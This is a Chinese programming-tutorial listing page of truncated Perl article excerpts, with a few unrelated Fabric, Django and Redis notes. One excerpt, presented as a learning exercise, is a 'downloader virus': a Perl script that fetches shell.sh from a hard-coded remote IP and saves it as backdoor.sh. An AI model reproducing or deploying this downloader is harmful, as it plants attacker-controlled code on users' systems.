PERL - 技术教程文章

perl字符集处理

本文内容适用于perl 5.8及其以上版本.perl internal form在 Perl看来, 字符串只有两种形式. 一种是octets, 即8位序列, 也就是我们通常说的字节数组. 另一种utf8编码的字符串, perl管它叫string. 也就是说: Perl只认识两种编码: Ascii(octets)和utf8(string).utf8 flag那 么perl如何确定一个字符串是octets还是utf8编码的字符串呢? perl可没有什么智能, 他完全是靠字符串上的utf8 flag. 在perl内部, 字符串结构由两部分组成: 数据和...

hyperledger-fabric环境快速搭建踩坑集锦(实用)【代码】【图】

安装docker 及 docker-compose安装docker没什么好说的,一部分教程都给出了指令,在这里就不谈了。docker-compose不同的教程给出了不同的方法,在这里介绍一种极为快速的方法,那就是通过python的pip工具安装docker-compose:ubuntu18.04:sudo apt-get install python-pip; pip install docker-compose; 安装fabric和fabric-sample大部分资源提供的下载链接地址都指向github.com,但是在国内访问github是非常慢的,在这里介绍一种非...

perl-5.14.0在新版gcc中编译不通过解决办法

1?? ? 由于在新版本中GCC把C99中的标准库分成了libc和libm两个部分,libm中包含一些数学库等,如果要用到libm时,必须加上-lm选项在解压Configure之后,再在Makefile中,LDFLAGS 和 CLDFLAGS两个参数后面加上 -lm即可解决问题2?? ? 参考:http://serverfault.com/questions/145288/make-error-when-compiling-perl-5-12-1-rhel-5-5? ? ?修改 dist/IO/poll.h:将 #include 修改为 #include3?? ? 参考:http://blog.163.com/zhangliy...

perl: 函数和排序

函数(子程序):Perl中的函数括号可以写也可以不写,除非不写影响含义。 自定义子程序:sub function-name{ expressions;} 子程序的返回值:所有perl子程序都有返回值,子程序中最后一个语句运算结果默认是程序的返回值。return操作符会从子程序立即返回某个值。 子程序参数:给子程序传参数只需要在调用子程序时在子程序后面加上圆括号和参数就可以了。perl将参数列表存放在 @_ 这个特殊数组变量中,子程序获取整个变量得...

zabbix监控mysql(perl)

1.yum install perl-libwww-perlyum install perl-File-Which yum install perl-DBD-MySQLyum install perl-Digest-SHA1yum install perl-Time-HiResyum install perl-Crypt-SSLeay2.测试#!/usr/bin/perl -wuse DBI;my $database = "mysql";my $hostname = "localhost";my $data_source = "DBI:mysql:$database:$hostname";my $username = "root";my $password = "123";my $dbh = DBI->connect( $data_source,$username,$password)...

解决 控制台console导入模型报错 django.core.exceptions.ImproperlyConfigured: Requested setting INSTALLED_APPS, but settings are not configured.【图】

import osimport django os.environ.setdefault(‘DJANGO_SETTINGS_MODULE‘, ‘rookie.settings‘) # rookie替换你的app应用名称django.setup() 原文:https://www.cnblogs.com/SunshineKimi/p/14545432.html

perl 在win下输出中文乱码问题【代码】

1use utf8;2my$name = ‘你好‘;3#binmode(STDOUT, ":encoding(gbk)"); 4print$name,"\n";5 6# #或7# use Encode;8# my $str=‘你好‘;9# $str = encode("gbk", decode("utf-8", $str)); 10# print $str,"\n"; 原文:http://www.cnblogs.com/perl6/p/6417790.html

HyperLeger Fabric开发(五)——HyperLeger Fabric账本存储【图】

HyperLeger Fabric开发(五)——HyperLeger Fabric账本存储 一、HyperLeger Fabric账本简介Fabric里的数据以分布式账本的形式存储。账本由一系列有顺序和防篡改的记录组成,记录包含着数据的全部状态改变。账本中的数据项以键值对的形式存放,账本中所有的键值对构成了账本的状态,也称为世界状态(World State)。?每个通道中有唯一的账本,由通道中所有成员共同维护着账本,每个记账节点上都保存了所属通道的账本的一个副本,因...

perl 打开和关闭文件【代码】

1#!/usr/bin/perl -w 2use strict;3 4#print "please input a string\n";5#my $line = <STDIN>;6#print $line;7 8#wirte a file 9open(FH, ">aa.txt") or die $!; 1011print FH "hello\n";#向文件写入内容12print FH "OK\n"; 1314close(FH); 1516#open a file17open(FH, "aa.txt") or die $!; 18my@f = <FH>;#将文件内容读出19print@f; 2021close(FH); 原文:http://www.cnblogs.com/csu_xajy/p/4229270.html

perl IDE【图】

学习perl的网站网上学习perl教程,可以参考下面2个网站:1.http://www.runoob.com/perl/perl-tutorial.html2.https://cn.perlmaven.com/perl-tutorial一、Window上安装perl编译器在 Window 平台上有 ActiveStatePerl 和 Strawberry Perl 两种编译器,一般选择后者,http://strawberryperl.com/。下载后直接安装,注意安装路径,似乎不必设置系统环境。二、3种perl IDE可以选择Notepad++(https://notepad-plus-plus.org/)或者DWIM...

Perl删除数组中元素的多种方法

Perl中的数组元素起始引用序号为0,@array的第一个元素为$array[0],依次递增,最后一个元素为$array[-1]或者$#array。如果要删除一个数组中已有的元素,可以用以下几个函数来实现。 1.函数名 grep调用语法 @foundlist = grep (pattern, @searchlist);解说 与同名的UNIX查找工具类似,grep函数在列表中抽取与指定模式匹配的元素,参 数pattern为欲查找的模式,返回值是匹配元素的列表。例子 @list = ("This", "is", "a", "test...

perl socket编程

soket是网络套接字,它是ip地址和端口号的组合。在perl中使用套接字需要SOCKET模块;以经过测试可以使用:下面使用如下的例子进行说明:服务器端:#!/usr/bin/perl -w use Socket; use IO::Handle; socket(SOCK,AF_INET,SOCK_STREAM,getprotobyname("tcp"));#初始化socket setsockopt(SOCK,SOL_SOCKET,SO_REUSEADDR,1); my $addr=sockaddr_in(3000,INADDR_ANY); bind(SOCK,$addr);#绑定地址 listen(SOCK,SOMAXCONN);#监听 while(1)...

通过perl实现一个简单的NIDS

随着对网络安全需求的深入开发,基于网络的入侵检测技术已经成为一个重要且有意思的研究方向。想学习NIDS技术除了去读一些现成的资料和一些开源系统的源码,最好的办法莫过于自己去写一个NIDS程序,只有那样才能真正体会到一些NIDS的实现需求和设计妙处。本质上说NIDS只是一种网络流量的分析工具,通过对网络流量的分析识别出一些已知或未知的攻击行为,一个最简单的NIDS完成的主要工作也就是抓包->协议解码->匹配,众所周知PERL是...

perl控制流介绍(if条件,while,for循环,foreach)

1. 语句块:{ }之间的部分即为BLOCK语句块。2. 条件语句:if ( expression ) BLOCK;if ( expression ) BLOCK1else BLOCK2;if ( expression1 ) BLOCK1;elsif ( expression2 ) BLOCK2;else BLOCK3;#倒置的if语句expression if ( test_expression );涉及到的关系运算符:数字值比较:==, >, <, >=, <=, != ;注意用数字值比较运算符比较字符串时,字符串当作0处理;字符串比较: eq, gt, lt, ge, le, ne;(undef被当作...

perl ping检测功能脚本代码

我的第一个用于生产环境的perl脚本,虽然不是很优秀,但也迈出了扎实的一步 :)领导有任务,给一批IP列表,ping每一台机器,如果没有响应就发邮件通知,通知的邮件需要分开,不能通知一个列表,得一封一封的通知.用到email::send模块,因为需要用到Gmail复制代码 代码如下:#!/usr/bin/perl use warnings; use strict; use Email::Send; use Email::Send::Gmail; use Email::Simple::Creator; my @list = qw/ 1.1.1.1 2.2.2.2 3.3.3.3 /; fore...

用 Perl 读写 Excel 文件【代码】

安装 Excel 模块的 PPM 命令ppm> install OLE::Storage_Lite ppm> install Spreadsheet::ParseExcel ppm> install Spreadsheet::WriteExcel Windows 示例:解析 #!/usr/bin/perl -w use strict; use Win32::OLE qw(in with); use Win32::OLE::Const ‘Microsoft Excel‘; $Win32::OLE::Warn = 3; # die on errors... # get already active Excel application or open new my $Excel = Win32::OLE->GetActiveObje...

写了个perl的删除程序

大家有没有碰到过unix上,一个目录文件太多,无法删除的现象,我为大家写了个perl的程序删除复制代码 代码如下:cat > del.pl#!/usr/bin/perl $file1=$ARGV[0]; @tests=(1,2,3,4,5,6,7,8,9,‘A‘,‘B‘,‘C‘,‘D‘,‘E‘,‘F‘,‘G‘,‘H‘,‘I‘,‘G‘,‘K‘,‘L‘,‘M‘,‘N‘,‘O‘,‘P‘,‘Q‘,‘R‘,‘S‘,‘T‘,‘U‘,‘V‘,‘W‘,‘X‘,‘Y‘,‘Z‘); foreach $test(@tests) { $file=$file1.$test; @chars=(0,1,2,3,4,5,6,...

Perl之正则表达式--模式匹配

大家用过unix或者linux系统,对vi,sed,grep,awk等使用工具不会陌生,应该了解用于定界符搜索模式的正则表达式和元字符。那么什么是正则表达式呢?正则表达式是一种序列或者字符模式,负责在搜索或者替换文本时对文本内容进行字符串匹配。简单的正则表达式直接由待匹配字符串或字符集构成。 正则表达式一般以斜杠(/)做界定符。实际上任何字符串都可以成为界定符。例如:/abc/, ?abc? 表达式修饰符与简单语句 常见修饰符:...

perl中的字符串操作函数chomp与chop介绍

chomp与chop都是用于去除字符串变量尾部的字符,但它们有各自的区别。chomp函数对变量起作用,而此变量含有字符串。如果字符串结尾有换行符,chomp可以去掉它。这基本上就是它能完成的所有功能,如下例:复制代码 代码如下: $text="alineoftext\n "; #也可以由<STDIN>输入 chomp($text); #去掉换行符(\n)。 它非常有用,基本上你的每一个程序都会用到它。如你将知道,这是将字符串末尾换行符去掉的最好方法。基于 Perl 中的...

Redis—HyperLogLog【代码】【图】

HyperLogLog实现一个功能统计网站的UV (user view),区别PV (page view)数据去重统计总数同一个用户的反复点击进入记为 1 次解决方案最简单的思路是记录集合A中所有不重复元素的集合S,当新来一个元素x,若S中不包含元素x,则将x加入S,否则不加入,集合A的基数就是集合S中元素的数量数据量大时存在的问题存储内存会线性增长集合S中的元素数量增多时,需要用布隆过滤器(检索一个元素是否在一个集合中)hashmap、set内存占用大假设...

Perl 安装 JSON 包【代码】

从 CPAN https://metacpan.org/release/JSON 下载 JSON.tar.gz , 然后就开始安装: $ tar xvfz JSON-2.53.tar.gz $ cd JSON-2.53 $ perl Makefile.PL $ make $ makeinstall Ref: https://www.yiibai.com/html/json/2013/0906254.html原文:https://www.cnblogs.com/open-coder/p/12747049.html

Perl的主要应用领域

1.Unix系统的维护功能 如我们在前面所说的,Perl可以作为传统Unix系统维护工具的替代,在这方面,它可以对文本文件,特别是对配置文件(还记不记得在配置Linux系统中的文本方式的配置)进行操作。 2. CGI脚本 Perl的一个最为重要的作用就是书写CGI应用程序。由于Web上的交互主要是文本方式的交互,而Perl在这方面具有独特的优势。这也是我们选择Perl作为书写CGI程序的重要原因。 3.邮件处理和FTP功能自动化 Perl的一个...

perl数据库添加、删除、更新、查询操作例子【代码】

注意:连接时候使用SID指定的database,所以没有在连接中指定database. #!/usr/bin/perl use strict; use warnings; use DBI; my $db_name="geneva_admin"; my $db_passwd="geneva_admin";my $dbh=DBI->connect("dbi:Oracle:","$db_name","$db_passwd")or die "Can‘t connect to oracle database:$DBI::errstr\n";my $sth=$dbh->prepare("select a,bfrom a_tmpwhere a=2")or die "Can‘t prepare SQl prepare:$DBI::errstr\n"; $s...

perl学习笔记——文件测试【代码】【图】

文件测试主要用于查看如文件是否存在、文件大小、文件更新时间等信息。文件测试操作符-e 测试文件是否存在;die "Oops!A file called ‘$filename‘ already exists.\n" if -e $filename;-M 测试文件是否保持持续的更新,比如测试某个程序的日志文件是否保持每一周或两周更新。此处测试的是文件句柄。warn "Config file is looking pretty old!\n" if -M CONFIG>28;-s 测试文件的大小,以字节计算文件大小。 例子:下面测试的是文...

perl进行z检验【代码】

use Statistics::Zed; my$zed = Statistics::Zed->new(); my$p_value = $zed->p_value(tails => 1, observed => 30, expected => 0, variance => 100); my$z_score = $zed->p2z(value => $p_value, tails => 1); print"$p_value\t$z_score\n";其中variance指方差,tails=>1表明单尾检验原文:http://www.cnblogs.com/yumtaoist/p/4519255.html

用Perl做个简单”下载者病毒”【代码】【图】

一直学的perl, 有时perl不理解时就用python写一下,这样或许perl就理解了 这里参照python写法,做了个perl的版本,当然,是为了学习用,这个下载者病毒有点简单过头了 backdoor.sh后门程序代码如下: backdoor.sh1 #!/bin/sh2echo‘Hello, Python‘下面为perl的shell.pl代码: shell.pl1#!/usr/bin/perl2use LWP::Simple; 34my$backdoor_content = get(‘http://45.63.49.167:8080/shell.sh‘); 5open BACKDOOR, ">", ‘backdoor.sh‘...

perl对大量大文件进行读写【代码】【图】

在对大量文件进行读写时,最好将文件存为gz文件,可以节约读写硬盘的时间,硬盘也不会那么卡。在写gz文件时,最好使用PerlIO::gzip模块。这个模块不用调用gzip命令,减少了程序占用的线程数量,可以有效的降低load。下面是一个例子。#! /usr/bin/env perluse strict; use warnings; use List::Util; use FileHandle; use PerlIO::gzip;my%fh;my@a=(1..100); for(my$i=1;$i<=100;$i++){open$fh{$i}, ">:gzip", "x.$i.gz";#open ($fh...

Perl入门(一)Perl的基本类型及运算符

在学习Perl的基础之前,还是希望大家有空去看以下Perl的简介。百度百科一、Perl的基本类型Per的基本类型分为两种:数值型和字符串型。数值型可细分为整数型。如123。浮点型。如123.123、0.123456。科学计数型。如1.23E2、1.23e2。大数值类型。如1_156_123_585_123。字符串型字符串。如“123456”,‘123’,qq(this is a string too!)二、用变量存储基本类型值Perl定义变量很简单。格式为:$变量名 (PS:Perl的程序员肯定是想钱想...

ubuntu16.04下Hyperledger之搭建Fabric环境简单操作(五步启动e2e_cli)

如果你已经安装好go等工具、git及checkout相关代及下载相关镜像,您只需下面5步就能up e2e_cli~/go/src/github.com/hyperledger/fabric$ sudo chmod 777 release~/go/src/github.com/hyperledger/fabric$ sudo chmod 777 examples/e2e_cli~/go/src/github.com/hyperledger/fabric$ sudo chmod 777 examples/e2e_cli/docker-compose-e2e.yaml~/go/src/github.com/hyperledger/fabric$ sudo chmod -R 777 examples/e2e_cli/channel-a...

Perl【代码】

my $line; my $content; open (FN,“D:\PerlDemo\parse.xml”) or die “not found $!“;while($line= ){ next if $. < 5; last if $. >10; $content.=$line;}close(FN);print “$content \n”;my $K= ; my @R =qw (A B C D); my @m =qw (a b c d); my @r =qw (h k ); my @j=(@R , @m , @r);for(@j){print $_ ."\t";}while(my($key,$value) = each @R){print "key= $key value =$value \n";}foreach $index(0 .. $#R){print "inde...